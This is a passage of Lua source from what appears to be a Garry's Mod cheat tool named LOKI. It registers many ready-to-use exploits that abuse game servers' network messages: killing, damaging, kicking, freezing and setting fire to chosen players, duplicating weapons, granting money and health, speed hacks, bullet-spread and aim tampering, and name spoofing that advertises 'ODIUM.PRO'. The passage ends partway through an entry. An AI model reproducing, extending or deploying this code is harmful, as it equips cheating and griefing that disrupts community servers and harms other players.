  7485. debugoverlay.BoxAngles(ent:GetPos(), mins, maxs, ent:GetAngles(), 5, color_white)
  7486. break
  7487. end
  7488. end
  7489. end
  7490. if(sploit.BulletData && varargs[1].start == sploit.BulletData.Src && sploit.bools.desync) then
  7491. local pos = Vector(0,0,0)
  7492. if(LOKI.Freecam.Enabled) then
  7493. pos = LOKI.Freecam.EyePos()
  7494. elseif(IsValid(trace.Entity)) then
  7495. local dist = math.Round(trace.HitPos:DistToSqr(LOKI.GetLP():GetShootPos()))
  7496. if(math.abs(dist) < (600*600)) then
  7497. pos = trace.Entity:GetPos() + trace.Entity:OBBCenter()
  7498. else
  7499. for k, v in ipairs(ents.FindInSphere(LOKI.GetLP():GetShootPos(), 600)) do
  7500. if(v == LOKI.GetLP()) then continue end
  7501. if(IsValid(v:GetPhysicsObject()) && math.abs(math.Round((v:GetPos() + v:OBBCenter()):DistToSqr(LOKI.GetLP():GetShootPos()))) < (600*600)) then
  7502. pos = v:GetPos() + v:OBBCenter()
  7503. break
  7504. end
  7505. end
  7506. end
  7507. end
  7508. varargs[1].endpos = varargs[1].endpos - varargs[1].start
  7509. varargs[1].start.x = pos.x
  7510. varargs[1].start.y = pos.y
  7511. varargs[1].start.z = pos.z
  7512. varargs[1].endpos = varargs[1].endpos + varargs[1].start
  7513. end
  7514. return trace
  7515. end
  7516. end,
  7517. },
  7518. math = {
  7519. random = function(sploit, varargs)
  7520. if(sploit.bools.nospread && LOKI.NetOutgoingMsg == sploit.channel) then
  7521. return 0.5
  7522. end
  7523. end,
  7524. },
  7525. table = {
  7526. Copy = function(sploit, varargs)
  7527. local function func(index)
  7528. local dbginfo = debug.getinfo(index)
  7529. if(istable(dbginfo) && dbginfo.func == LeyHitreg.EntityFireBullets) then
  7530. LOKI.NetOutgoingMsg = sploit.channel
  7531. sploit.BulletData = varargs[1]
  7532. return true
  7533. end
  7534. end
  7535. if(!func(3)) then func(4) end
  7536. end,
  7537. },
  7538. PostRender = function(tbl, sploit)
  7539. if(LOKI.Freecam.Enabled == true && sploit.bools.desync) then
  7540. local dist = math.Round(EyePos():DistToSqr(LOKI.GetLP():GetShootPos()))
  7541. local color = Color(255,255,255)
  7542. if(math.abs(dist) > (600*600)) then
  7543. color = Color(255, 0, 0)
  7544. else
  7545. color = Color(102, 255, 102)
  7546. end
  7547. LOKI.DrawText( dist, "TargetID", 0, 20, color )
  7548. end
  7549. end,
  7550. },
  7551. functions = {
  7552. { typ = "bool", ToggleText = {"Damage"}, border = true, bool = "bighead" },
  7553. { typ = "bool", ToggleText = {"NoSpread"}, border = true, bool = "nospread" },
  7554. { typ = "bool", ToggleText = {"Desync"}, border = true, bool = "desync" },
  7555. { typ = "bool", ToggleText = {"Assist"}, border = true, bool = "magicbullet" },
  7556. { typ = "float", Name = "Hitbox Scale", min = 1, max = math.huge, default = 1.5, addr = "dmg1_hbox" },
  7557. //{ typ = "bool" },
  7558. },
  7559. } )
  7560. LOKI.AddExploit( "Damage Exploit", {
  7561. desc = "Be a silent assassin by injuring people across the map",
  7562. severity = 1,
  7563. bools = {enabled = false},
  7564. status = 1,
  7565. times_per_tick = 1,
  7566. scan = function() return LOKI.ValidNetString("Taucannonfire") end,
  7567. hooks = {
  7568. Think = function(tbl, sploit)
  7569. for i = 0, LOKI.GetStored("dmg1_mult", 1) do
  7570. for k, v in ipairs( LOKI.GetStored( "dmg1_plyz", {} ) ) do
  7571. if IsValid(v) then
  7572. if(v:IsPlayer()) then
  7573. LOKI.NetStart(sploit, "Taucannonfire")
  7574. net.WriteEntity(v)
  7575. net.WriteBit(1)
  7576. net.SendToServer()
  7577. end
  7578. end
  7579. end
  7580. end
  7581. end,
  7582. },
  7583. functions = {
  7584. { typ = "players", addr = "dmg1_plyz", Name = "Victims" },
  7585. { typ = "float", Name = "Multiplier", min = 1, max = math.huge, default = 1, addr = "dmg1_mult" },
  7586. { typ = "func", Name = "Do it"},
  7587. },
  7588. } )
  7589. LOKI.AddExploit( "Damage Exploit", {
  7590. desc = "Be a silent assassin by killing people across the map",
  7591. severity = 1,
  7592. bools = {enabled = false},
  7593. status = 1,
  7594. times_per_tick = 1,
  7595. scan = function() return LOKI.ValidNetString("mat_zset") end,
  7596. hooks = {
  7597. Think = function(tbl, sploit)
  7598. for k, v in ipairs( LOKI.GetStored( "dmg2_plyz", {} ) ) do
  7599. if IsValid(v) then
  7600. LOKI.NetStart(sploit, "mat_zset")
  7601. net.WriteString(v:Nick())
  7602. net.SendToServer()
  7603. end
  7604. end
  7605. end,
  7606. },
  7607. functions = {
  7608. { typ = "players", addr = "dmg2_plyz", Name = "Victims" },
  7609. { typ = "func", Name = "Do it"},
  7610. },
  7611. } )
  7612. LOKI.AddExploit( "Damage Exploit", {
  7613. desc = "Become a god among men",
  7614. severity = 1,
  7615. bools = {enabled = false},
  7616. status = 1,
  7617. times_per_tick = 1,
  7618. scan = function() return LOKI.ValidNetString("dialogClose", "f4menufreeze") end,
  7619. OnDisable = function(var, sploit)
  7620. LOKI.NetStart( sploit, "dialogClose")
  7621. net.SendToServer()
  7622. end,
  7623. hooks = {
  7624. net = {
  7625. Start = function(sploit, varargs)
  7626. if(varargs[1] == "dialogClose" && sploit.bools.enabled) then
  7627. LOKI.NetStart(sploit, "f4menufreeze")
  7628. net.WriteBool(false)
  7629. net.SendToServer()
  7630. LOKI.GetLP().dialogActive = false
  7631. return false
  7632. end
  7633. end,
  7634. },
  7635. },
  7636. functions = {
  7637. { typ = "bool" },
  7638. },
  7639. } )
  7640. LOKI.AddExploit( "Damage Exploit", {
  7641. desc = "Become the human torch",
  7642. severity = 1,
  7643. bools = {enabled = false},
  7644. status = 1,
  7645. times_per_tick = 1,
  7646. prevalidated = true,
  7647. scan = function() return LOKI.ValidNetString("DragonVapeIgnite") && LOKI.GetLP():HasWeapon("weapon_vape_dragon") end,
  7648. scan_always = true,
  7649. hooks = {
  7650. Tick = function(tbl, sploit)
  7651. for k, v in ipairs(ents.GetAll()) do
  7652. if(!IsValid(v) || !v:IsSolid() || v:GetPos():Distance(LOKI.GetLP():GetPos()) > 500) then continue end
  7653. LOKI.NetStart(sploit, "DragonVapeIgnite")
  7654. net.WriteEntity(v)
  7655. net.SendToServer()
  7656. end
  7657. end,
  7658. },
  7659. functions = {
  7660. { typ = "bool" },
  7661. },
  7662. } )
  7663. LOKI.AddExploit( "Damage Exploit", {
  7664. desc = "Evolve into a human with gills",
  7665. severity = 1,
  7666. bools = {enabled = false},
  7667. status = 1,
  7668. times_per_tick = 1,
  7669. scan = function() return LOKI.ValidNetString("StaminaDrowning") end,
  7670. hooks = {
  7671. net = {
  7672. Start = function(sploit, varargs)
  7673. if(varargs[1] == "StaminaDrowning" && sploit.bools.enabled) then
  7674. return false
  7675. end
  7676. end,
  7677. },
  7678. },
  7679. functions = {
  7680. { typ = "bool" },
  7681. },
  7682. } )
  7683. LOKI.AddExploit( "Damage Exploit", {
  7684. desc = "Makes your bullets more lethal",
  7685. severity = 1,
  7686. bools = {enabled = false},
  7687. status = 1,
  7688. times_per_tick = 1,
  7689. scan = function(sploit) return LOKI.ValidNetString("shr") end,
  7690. hooks = {
  7691. net = {
  7692. WriteUInt = function(sploit, varargs)
  7693. if(LOKI.NetOutgoingMsg == "shr" && istable(LOKI.NetOutgoingData[6]) && LOKI.NetOutgoingData[6].Type == "Vector" && sploit.bools.enabled) then
  7694. varargs[1] = HITGROUP_HEAD
  7695. end
  7696. end,
  7697. },
  7698. },
  7699. functions = {
  7700. { typ = "bool" },
  7701. },
  7702. } ) -- not done and not worth working on since it only exists on ~5 servers total
  7703. LOKI.AddExploit( "Teleport Exploit", {
  7704. desc = "Call a taxi",
  7705. severity = 1,
  7706. bools = {enabled = false},
  7707. status = 1,
  7708. times_per_tick = 1,
  7709. scan = function() return isfunction(net.Receivers["taxi_menu"]) end,
  7710. hooks = {
  7711. Think = function(tbl, sploit)
  7712. LOKI.Menu:SetVisible(false)
  7713. net.Receivers["taxi_menu"]()
  7714. end,
  7715. },
  7716. functions = {
  7717. { typ = "func", Name = "Open", args = {1}},
  7718. },
  7719. } )
  7720. LOKI.AddExploit( "Instant Dumpster Diving", {
  7721. desc = "Loot dumpsters whilst smoking crack",
  7722. severity = 1,
  7723. bools = {enabled = false},
  7724. status = 1,
  7725. times_per_tick = 1,
  7726. vars = {},
  7727. scan = function() return LOKI.ValidNetString( "dumpster_beginsearch" ) end,
  7728. hooks = {
  7729. net = {
  7730. Receive = function(sploit, strName)
  7731. if(strName == "dumpster_beginsearch") then
  7732. net.Receivers["dumpster_beginsearch"]()
  7733. if(sploit.bools.enabled) then
  7734. LOKI.GetLP().DumpsterTime = 0
  7735. LOKI.GetLP().DumpsterDiving = false
  7736. LOKI.NetStart(sploit, "dumpster_search_complete", true)
  7737. net.WriteInt(LOKI.GetLP().ActiveDumpster, 32)
  7738. net.SendToServer()
  7739. end
  7740. return false
  7741. end
  7742. end,
  7743. },
  7744. },
  7745. functions = {
  7746. { typ = "bool", },
  7747. },
  7748. } )
  7749. LOKI.AddExploit( "Disguise Exploit", {
  7750. desc = "Disguise as any job",
  7751. severity = 1,
  7752. bools = {enabled = false},
  7753. status = 1,
  7754. times_per_tick = math.huge,
  7755. scan = function() return LOKI.ValidNetString( "disguise" ) end,
  7756. hooks = {
  7757. Think = function(tbl, sploit)
  7758. LOKI.NetStart( sploit, "disguise" )
  7759. net.WriteInt(LOKI.SafeToNumber(LOKI.GetStored("disguise1", {1, 1})[2]), 32)
  7760. net.SendToServer()
  7761. end,
  7762. },
  7763. functions = {
  7764. { typ = "combo", Name = "Job", tbl = team.GetAllTeams(), restriction = "Joinable", var = "Name", sort = "Name", default = 1, addr = "disguise1" },
  7765. { typ = "func", Name = "Disguise", },
  7766. },
  7767. } )
  7768. LOKI.AddExploit( "Name Changer", {
  7769. desc = "Allows you to change your name to anything",
  7770. severity = 1,
  7771. bools = {enabled = false},
  7772. status = 1,
  7773. times_per_tick = 1,
  7774. vars = {},
  7775. scan = function() return (LOKI.ValidNetString( "gportal_rpname_change" ) && "gportal_rpname_change") || (LOKI.ValidNetString( "gp_rpname_change" ) && "gp_rpname_change") end,
  7776. hooks = {
  7777. Think = function(tbl, sploit)
  7778. LOKI.NetStart( sploit, sploit.channel)
  7779. net.WriteString(tostring(LOKI.GetStored( "nc1" )))
  7780. net.WriteString(tostring(LOKI.GetStored( "nc2" )))
  7781. net.SendToServer()
  7782. end,
  7783. },
  7784. functions = {
  7785. { typ = "string", Name = "First Name:", default = "GET", addr = "nc1" },
  7786. { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc2" },
  7787. { typ = "func", Name = "Change Name", }
  7788. },
  7789. } )
  7790. LOKI.AddExploit( "Name Changer", {
  7791. desc = "Allows you to change your name to anything",
  7792. severity = 1,
  7793. bools = {enabled = false},
  7794. status = 1,
  7795. times_per_tick = 1,
  7796. vars = {},
  7797. scan = function() return LOKI.ValidNetString( "WS:NPC:Name:NewName" ) end,
  7798. hooks = {
  7799. Think = function(tbl, sploit)
  7800. LOKI.NetStart( sploit, "WS:NPC:Name:NewName")
  7801. net.WriteString(tostring(LOKI.GetStored( "nc2" )))
  7802. net.SendToServer()
  7803. end,
  7804. },
  7805. functions = {
  7806. { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc2" },
  7807. { typ = "func", Name = "Change Name", }
  7808. },
  7809. } )
  7810. LOKI.AddExploit( "Name Changer", {
  7811. desc = "Allows you to change your name to anything",
  7812. severity = 1,
  7813. bools = {enabled = false},
  7814. status = 1,
  7815. times_per_tick = 1,
  7816. vars = {},
  7817. scan = function() return LOKI.ValidNetString( "NewRPNameSQL" ) end,
  7818. hooks = {
  7819. Think = function(tbl, sploit)
  7820. LOKI.NetStart( sploit, "NewRPNameSQL")
  7821. net.WriteString(tostring(LOKI.GetStored( "nc3" )))
  7822. net.SendToServer()
  7823. end,
  7824. },
  7825. functions = {
  7826. { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc3" },
  7827. { typ = "func", Name = "Change Name", }
  7828. },
  7829. } )
  7830. LOKI.AddExploit( "Name Changer", {
  7831. desc = "Allows you to change your steam name to anything. (32 char limit)",
  7832. severity = 1,
  7833. bools = {enabled = false},
  7834. status = 1,
  7835. times_per_tick = 1,
  7836. vars = {},
  7837. scan = function() return isfunction(CNetChan) && CNetChan() && CNetChan():GetReliableBuffer() end,
  7838. hooks = {
  7839. Think = function(tbl, sploit)
  7840. local buffer = CNetChan():GetReliableBuffer()
  7841. buffer:WriteUInt(net_SetConVar, NET_MESSAGE_BITS)
  7842. buffer:WriteByte(1)
  7843. buffer:WriteString("name")
  7844. buffer:WriteString(tostring(LOKI.GetStored( "nc4" )))
  7845. end,
  7846. },
  7847. functions = {
  7848. { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc4" },
  7849. { typ = "func", Name = "Change Name", }
  7850. },
  7851. } )
  7852. LOKI.AddExploit( "Name Changer", {
  7853. desc = "Allows you to change your name to anything",
  7854. severity = 1,
  7855. bools = {enabled = false},
  7856. status = 1,
  7857. times_per_tick = 1,
  7858. vars = {},
  7859. scan = function() return LOKI.ValidNetString( "rpname_change" ) end,
  7860. hooks = {
  7861. Think = function(tbl, sploit)
  7862. LOKI.NetStart( sploit, "rpname_change")
  7863. net.WriteString(tostring(LOKI.GetStored( "nc5" )))
  7864. net.WriteString(tostring(LOKI.GetStored( "nc51" )))
  7865. net.SendToServer()
  7866. end,
  7867. },
  7868. functions = {
  7869. { typ = "string", Name = "First Name:", default = "GET", addr = "nc5" },
  7870. { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc51" },
  7871. { typ = "func", Name = "Change Name", }
  7872. },
  7873. } )
  7874. LOKI.AddExploit( "Name Changer", {
  7875. desc = "Allows you to change your name to anything",
  7876. severity = 1,
  7877. bools = {enabled = false},
  7878. status = 1,
  7879. times_per_tick = 1,
  7880. vars = {},
  7881. scan = function() return LOKI.ValidNetString( "popupinfo" ) end,
  7882. hooks = {
  7883. Think = function(tbl, sploit)
  7884. LOKI.NetStart( sploit, "popupinfo")
  7885. net.WriteString(tostring(LOKI.GetStored( "nc6" )))
  7886. net.SendToServer()
  7887. end,
  7888. },
  7889. functions = {
  7890. { typ = "string", Name = "Name:", default = "GET ODIUM.PRO", addr = "nc6" },
  7891. { typ = "func", Name = "Change Name", }
  7892. },
  7893. } )
  7894. LOKI.AddExploit( "Name Changer", {
  7895. desc = "Allows you to change your name to anything",
  7896. severity = 1,
  7897. bools = {enabled = false},
  7898. status = 1,
  7899. times_per_tick = 1,
  7900. vars = {},
  7901. scan = function() return LOKI.ValidNetString( "scoreboardadmin" ) end,
  7902. hooks = {
  7903. Think = function(tbl, sploit)
  7904. LOKI.NetStart( sploit, "scoreboardadmin")
  7905. net.WriteEntity( LOKI.GetLP() )
  7906. net.WriteString( "rpname" )
  7907. net.WriteString( "user" )
  7908. net.WriteString(tostring(LOKI.GetStored( "nc7" )))
  7909. net.SendToServer()
  7910. end,
  7911. },
  7912. functions = {
  7913. { typ = "string", Name = "Name:", default = "GET ODIUM.PRO", addr = "nc7" },
  7914. { typ = "func", Name = "Change Name", }
  7915. },
  7916. } )
  7917. LOKI.AddExploit( "Name Changer", {
  7918. desc = "Allows you to change your name and playermodel to anything",
  7919. severity = 1,
  7920. bools = {enabled = false},
  7921. status = 1,
  7922. times_per_tick = 1,
  7923. vars = {},
  7924. scan = function() return LOKI.ValidNetString( "UpdateCharSF", "take_my_cash" ) end,
  7925. hooks = {
  7926. Think = function(tbl, sploit)
  7927. LOKI.NetStart( sploit, "take_my_cash" )
  7928. net.WriteString(-10000)
  7929. net.SendToServer()
  7930. LOKI.NetStart( sploit, "UpdateCharSF")
  7931. net.WriteString(tostring(LOKI.GetStored( "nc8" )))
  7932. net.WriteString(tostring(LOKI.GetStored( "nc8a" )))
  7933. net.WriteString(tostring(LOKI.GetStored( "nc8b" )))
  7934. net.SendToServer()
  7935. end,
  7936. },
  7937. functions = {
  7938. { typ = "string", Name = "First Name:", default = "GET", addr = "nc8" },
  7939. { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc8a" },
  7940. { typ = "string", Name = "Player Model:", default = "models/error.mdl", addr = "nc8b" },
  7941. { typ = "func", Name = "Change Name", }
  7942. },
  7943. } )
  7944. LOKI.AddExploit( "Speed Hack", {
  7945. desc = "Allows you to move at warp speed",
  7946. severity = 1,
  7947. bools = {enabled = false},
  7948. status = 1,
  7949. times_per_tick = 1,
  7950. vars = {},
  7951. scan = function() return LOKI.ValidNetString( "SprintSpeedset" ) end,
  7952. hooks = {
  7953. Think = function(tbl, sploit)
  7954. LOKI.NetStart( sploit, "SprintSpeedset")
  7955. net.WriteFloat(LOKI.SafeToNumber(LOKI.GetStored( "sh1" )))
  7956. net.SendToServer()
  7957. end,
  7958. },
  7959. functions = {
  7960. { typ = "float", Name = "Speed: ", min = 0, max = math.huge, default = 1000, addr = "sh1" },
  7961. { typ = "func", Name = "Go", }
  7962. },
  7963. } )
  7964. LOKI.AddExploit( "Bonus Exploit", {
  7965. desc = "Free Shit",
  7966. severity = 1,
  7967. bools = {enabled = false},
  7968. status = 1,
  7969. times_per_tick = 1,
  7970. vars = {},
  7971. scan = function() return LOKI.ValidNetString( "AbilityUse" ) end,
  7972. hooks = {
  7973. Think = function(tbl, sploit)
  7974. LOKI.NetStart( sploit, "AbilityUse")
  7975. net.WriteInt(tbl[1], 32)
  7976. net.SendToServer()
  7977. end,
  7978. },
  7979. functions = {
  7980. { typ = "func", Name = "Money", args = {1}, },
  7981. { typ = "func", Name = "Time Bonus", args = {2}, },
  7982. { typ = "func", Name = "HP", args = {3}, },
  7983. { typ = "func", Name = "Armor", args = {4}, },
  7984. { typ = "func", Name = "Salary Bonus", args = {5}, },
  7985. { typ = "func", Name = "Random Weapon", args = {6}, },
  7986. { typ = "func", Name = "Jailbreak", args = {7}, },
  7987. },
  7988. } )
  7989. LOKI.AddExploit( "Zombie Mode", {
  7990. desc = "Raise an army of unkillable zombies",
  7991. severity = 1,
  7992. bools = {enabled = false},
  7993. status = 1,
  7994. times_per_tick = 1,
  7995. vars = {},
  7996. scan = function() return LOKI.ValidNetString( "RevivePlayer" ) end,
  7997. OnEnable = function(var, sploit)
  7998. for k, v in ipairs(LOKI.GetStored( "immortal_plyz", {} )) do
  7999. if IsValid(v) then
  8000. if(v:IsPlayer()) then
  8001. LOKI.NetStart( sploit, "RevivePlayer")
  8002. net.WriteEntity(v)
  8003. net.SendToServer()
  8004. end
  8005. end
  8006. end
  8007. end,
  8008. hooks = {
  8009. CreateMove = function(tbl, sploit, varargs)
  8010. local cmd = varargs[1]
  8011. if(cmd:GetMouseX() == 0 && cmd:GetMouseY() == 0 && LOKI.LastAngles) then
  8012. cmd:SetViewAngles(LOKI.LastAngles)
  8013. else
  8014. LOKI.LastAngles = cmd:GetViewAngles()
  8015. end
  8016. end,
  8017. entity_killed = function(tbl, sploit, varargs)
  8018. local data = varargs[1]
  8019. local ent = Entity(data.entindex_killed)
  8020. local t = LOKI.GetStored( "immortal_plyz", {} )
  8021. if table.HasValue( t, ent ) then
  8022. if(ent:IsPlayer()) then
  8023. LOKI.NetStart( sploit, "RevivePlayer")
  8024. net.WriteEntity(ent)
  8025. net.SendToServer()
  8026. end
  8027. end
  8028. end,
  8029. player_spawn = function(tbl, sploit, varargs)
  8030. local data = varargs[1]
  8031. local ent = Player(data.userid)
  8032. local t = LOKI.GetStored( "immortal_plyz", {} )
  8033. if table.HasValue( t, ent ) then
  8034. if(ent:IsPlayer()) then
  8035. LOKI.NetStart( sploit, "RevivePlayer")
  8036. net.WriteEntity(ent)
  8037. net.SendToServer()
  8038. end
  8039. end
  8040. end,
  8041. },
  8042. functions = {
  8043. { typ = "players", addr = "immortal_plyz" },
  8044. { typ = "bool", },
  8045. },
  8046. } )
  8047. LOKI.AddExploit( "Zombie Mode", {
  8048. desc = "Become immortal",
  8049. severity = 1,
  8050. bools = {enabled = false},
  8051. status = 1,
  8052. times_per_tick = 1,
  8053. vars = {},
  8054. scan = function() return LOKI.ValidNetString( "revival_revive_accept" ) end,
  8055. hooks = {
  8056. entity_killed = function(tbl, sploit, varargs)
  8057. local data = varargs[1]
  8058. local ent = Entity(data.entindex_killed)
  8059. if(ent:IsPlayer() && ent == LOKI.GetLP()) then
  8060. LOKI.NetStart( sploit, "revival_revive_accept")
  8061. net.SendToServer()
  8062. end
  8063. end,
  8064. },
  8065. functions = {
  8066. { typ = "bool", },
  8067. },
  8068. } )
  8069. LOKI.AddExploit( "Zombie Mode", {
  8070. desc = "Infect players with the T-Virus",
  8071. severity = 1,
  8072. bools = {enabled = false},
  8073. status = 1,
  8074. times_per_tick = 1,
  8075. vars = {},
  8076. scan = function() return LOKI.ValidNetString( "MakeZombie" ) end,
  8077. hooks = {
  8078. Think = function(tbl, sploit, varargs)
  8079. for k, v in pairs(LOKI.GetStored("zomb_plyz", {})) do
  8080. if(!IsValid(v)) then continue end
  8081. LOKI.NetStart(sploit, "MakeZombie")
  8082. net.WriteEntity(v)
  8083. net.SendToServer()
  8084. end
  8085. end,
  8086. },
  8087. functions = {
  8088. { typ = "players", addr = "zomb_plyz" },
  8089. { typ = "bool", },
  8090. },
  8091. } )
  8092. LOKI.AddExploit( "Zombie Mode", {
  8093. desc = "Recover from any injury",
  8094. severity = 1,
  8095. bools = {enabled = false},
  8096. status = 1,
  8097. times_per_tick = 1,
  8098. vars = {},
  8099. scan = function() return LOKI.ValidNetString( "UseMedkit" ) end,
  8100. hooks = {
  8101. Think = function(tbl, sploit, varargs)
  8102. for k, v in pairs(LOKI.GetStored("zomb2_plyz", {})) do
  8103. if(!IsValid(v)) then continue end
  8104. LOKI.NetStart(sploit, "UseMedkit")
  8105. net.WriteEntity(v)
  8106. net.SendToServer()
  8107. end
  8108. end,
  8109. },
  8110. functions = {
  8111. { typ = "players", addr = "zomb2_plyz" },
  8112. { typ = "bool", },
  8113. },
  8114. } )
  8115. LOKI.AddExploit( "Zombie Mode", {
  8116. desc = "Become immortal",
  8117. severity = 1,
  8118. bools = {enabled = false},
  8119. status = 1,
  8120. times_per_tick = 1,
  8121. vars = {},
  8122. scan = function() return LOKI.ValidNetString( "079ServerAction" ) end,
  8123. hooks = {
  8124. entity_killed = function(tbl, sploit, varargs)
  8125. local data = varargs[1]
  8126. local ent = Entity(data.entindex_killed)
  8127. if(ent:IsPlayer() && ent == LOKI.GetLP()) then
  8128. sploit.vars.pos = ent:GetPos()
  8129. end
  8130. end,
  8131. player_spawn = function(tbl, sploit, varargs)
  8132. local data = varargs[1]
  8133. local ent = Player(data.userid)
  8134. if(ent:IsPlayer() && ent == LOKI.GetLP() && sploit.vars.pos != Vector(0,0,0)) then
  8135. LOKI.NetStart(sploit, "079ServerAction")
  8136. net.WriteString("Move")
  8137. net.WriteVector(sploit.vars.pos)
  8138. net.SendToServer()
  8139. sploit.vars.pos = Vector(0,0,0)
  8140. end
  8141. end,
  8142. },
  8143. functions = {
  8144. { typ = "bool", },
  8145. },
  8146. } )
  8147. LOKI.AddExploit( "Dupe Weapons", {
  8148. desc = "Hold any gun and press button to dupe",
  8149. severity = 1,
  8150. bools = {enabled = false},
  8151. status = 1,
  8152. times_per_tick = math.huge,
  8153. scan = function() return LOKI.ValidNetString( "ItemStoreSyncItem", "RevivePlayer" ) end,
  8154. hooks = {
  8155. Think = function(tbl, sploit)
  8156. LOKI.RCC(sploit, "kill")
  8157. LOKI.RCC(sploit, "darkrp", "invholster")
  8158. LOKI.NetStart(sploit, "RevivePlayer", true)
  8159. net.WriteEntity(LOKI.GetLP())
  8160. net.SendToServer()
  8161. end,
  8162. },
  8163. functions = {
  8164. { typ = "func", Name = "Dupe" },
  8165. },
  8166. } )
  8167. LOKI.AddExploit( "Dupe Weapons", {
  8168. desc = "Disassemble your weapons then nurse them back to health",
  8169. severity = 1,
  8170. bools = {enabled = false},
  8171. status = 2,
  8172. times_per_tick = math.huge,
  8173. scan = function() return LOKI.ValidNetString( "ItemStoreSplit" ) || LOKI.ValidNetString( "_ItemStoreSplit" ) || istable(itemstore) end,
  8174. hooks = {
  8175. Think = function(tbl, sploit)
  8176. if(LOKI.ValidNetString( "ItemStoreSplit" ) || LOKI.ValidNetString( "_ItemStoreSplit" )) then
  8177. LOKI.NetStart(sploit, {"ItemStoreSplit", "_ItemStoreSplit"})
  8178. net.WriteUInt(LOKI.GetLP().InventoryID, 32)
  8179. net.WriteUInt(tonumber(LOKI.GetStored( "dupe_index", 1 )), 32)
  8180. net.WriteUInt(0, 32)
  8181. net.SendToServer()
  8182. else
  8183. LOKI.RCC( "itemstore_split", LOKI.GetLP().InventoryID, tonumber(LOKI.GetStored( "dupe_index", 1 )), 0 )
  8184. end
  8185. end,
  8186. },
  8187. functions = {
  8188. { typ = "float", Name = "Index", default = 1, min = 0, max = math.huge, addr = "dupe_index" },
  8189. { typ = "func", Name = "Dupe"},
  8190. },
  8191. } )
  8192. LOKI.AddExploit( "Freeze Players", {
  8193. desc = "Freeze selected players next time they respawn",
  8194. severity = 50,
  8195. bools = {enabled = false},
  8196. status = 1,
  8197. times_per_tick = 1,
  8198. vars = {},
  8199. scan = function() return LOKI.ValidNetString( "NLR.ActionPlayer" ) end,
  8200. hooks = {
  8201. Think = function(tbl, sploit)
  8202. for k, v in ipairs( LOKI.GetStored( "freeze_plyz", {} ) ) do
  8203. if IsValid(v) then
  8204. if(v:IsPlayer()) then
  8205. LOKI.NetStart( sploit, "NLR.ActionPlayer")
  8206. net.WriteEntity(v)
  8207. net.SendToServer()
  8208. end
  8209. end
  8210. end
  8211. end,
  8212. },
  8213. functions = {
  8214. { typ = "players", addr = "freeze_plyz" },
  8215. { typ = "bool", },
  8216. },
  8217. } )
  8218. LOKI.AddExploit( "Kick Exploit", {
  8219. desc = "Kick selected players",
  8220. severity = 1,
  8221. bools = {enabled = false},
  8222. status = 3,
  8223. times_per_tick = 1,
  8224. vars = {},
  8225. scan = function() return LOKI.ValidNetString( "plyWarning" ) end,
  8226. hooks = {
  8227. Think = function(tbl, sploit)
  8228. for k, v in ipairs( LOKI.GetStored( "kick_plyz", {} ) ) do
  8229. if IsValid( v ) then
  8230. if(v:IsPlayer()) then
  8231. LOKI.NetStart( sploit, "plyWarning")
  8232. net.WriteEntity(v)
  8233. net.WriteString('You have to select a player before doing a action.')
  8234. net.SendToServer()
  8235. end
  8236. end
  8237. end
  8238. end,
  8239. },
  8240. functions = {
  8241. { typ = "players", addr = "kick_plyz" },
  8242. { typ = "func", Name = "Kick" },
  8243. },
  8244. } )
  8245. LOKI.AddExploit( "Kick Exploit", {
  8246. desc = "Kick selected players",
  8247. severity = 1,
  8248. bools = {enabled = false},
  8249. status = -1,
  8250. times_per_tick = 1,
  8251. vars = {},
  8252. scan = function() return LOKI.ValidNetString( "NLRKick" ) end,
  8253. hooks = {
  8254. Think = function(tbl, sploit)
  8255. for k, v in ipairs( LOKI.GetStored( "kick2_plyz", {} ) ) do
  8256. if IsValid( v ) then
  8257. if(v:IsPlayer()) then
  8258. LOKI.NetStart( sploit, "NLRKick")
  8259. net.WriteEntity(v)
  8260. net.SendToServer()
  8261. end
  8262. end
  8263. end
  8264. end,
  8265. },
  8266. functions = {
  8267. { typ = "players", addr = "kick2_plyz" },
  8268. { typ = "func", Name = "Kick" },
  8269. },
  8270. } )
  8271. LOKI.AddExploit( "Kick Exploit", {
  8272. desc = "Kick selected players",
  8273. severity = 1,
  8274. bools = {enabled = false},
  8275. status = -1,
  8276. times_per_tick = 1,
  8277. vars = {},
  8278. scan = function() return LOKI.ValidNetString( "RecKickAFKer" ) end,
  8279. hooks = {
  8280. Think = function(tbl, sploit)
  8281. for k, v in ipairs( LOKI.GetStored( "kick3_plyz", {} ) ) do
  8282. if IsValid(v) then
  8283. if(v:IsPlayer()) then
  8284. LOKI.NetStart( sploit, "RecKickAFKer")
  8285. net.WriteEntity(v)
  8286. net.SendToServer()
  8287. end
  8288. end
  8289. end
  8290. end,
  8291. },
  8292. functions = {
  8293. { typ = "players", addr = "kick3_plyz" },
  8294. { typ = "func", Name = "Kick" },
  8295. },
  8296. } )
  8297. LOKI.AddExploit( "Kick Exploit", {
  8298. desc = "Kick all players",
  8299. severity = 1,
  8300. bools = {enabled = false},
  8301. status = 2,
  8302. times_per_tick = math.huge,
  8303. scan = function() return (LOKI.ValidNetString( "simfphys_turnsignal" )) end,
  8304. hooks = {
  8305. Think = function(tbl, sploit)
  8306. LOKI.NetStart( sploit, "simfphys_turnsignal")
  8307. net.WriteEntity(LOKI.GetLP())
  8308. net.SendToServer()
  8309. end,
  8310. },
  8311. functions = {
  8312. { typ = "bool", },
  8313. },
  8314. } )
  8315. LOKI.AddExploit( "Kick Exploit", {
  8316. desc = "Kick selected players",
  8317. severity = 1,
  8318. bools = {enabled = false},
  8319. status = 2,
  8320. times_per_tick = 1,
  8321. vars = {},
  8322. scan = function() return LOKI.ValidNetString( "send" ) end,
  8323. hooks = {
  8324. Think = function(tbl, sploit)
  8325. for k, v in ipairs( LOKI.GetStored( "kick4_plyz", {} ) ) do
  8326. if IsValid(v) then
  8327. if(v:IsPlayer()) then
  8328. LOKI.NetStart( sploit, "send")
  8329. net.WriteTable({1})
  8330. net.WriteTable({1})
  8331. net.WriteEntity(v)
  8332. net.WriteString("GET ODIUM.PRO")
  8333. net.SendToServer()
  8334. end
  8335. end
  8336. end
  8337. end,
  8338. },
  8339. functions = {
  8340. { typ = "players", addr = "kick4_plyz" },
  8341. { typ = "func", Name = "Kick" },
  8342. },
  8343. } )
  8344. LOKI.AddExploit( "Kick Exploit", {
  8345. desc = "Kick selected players",
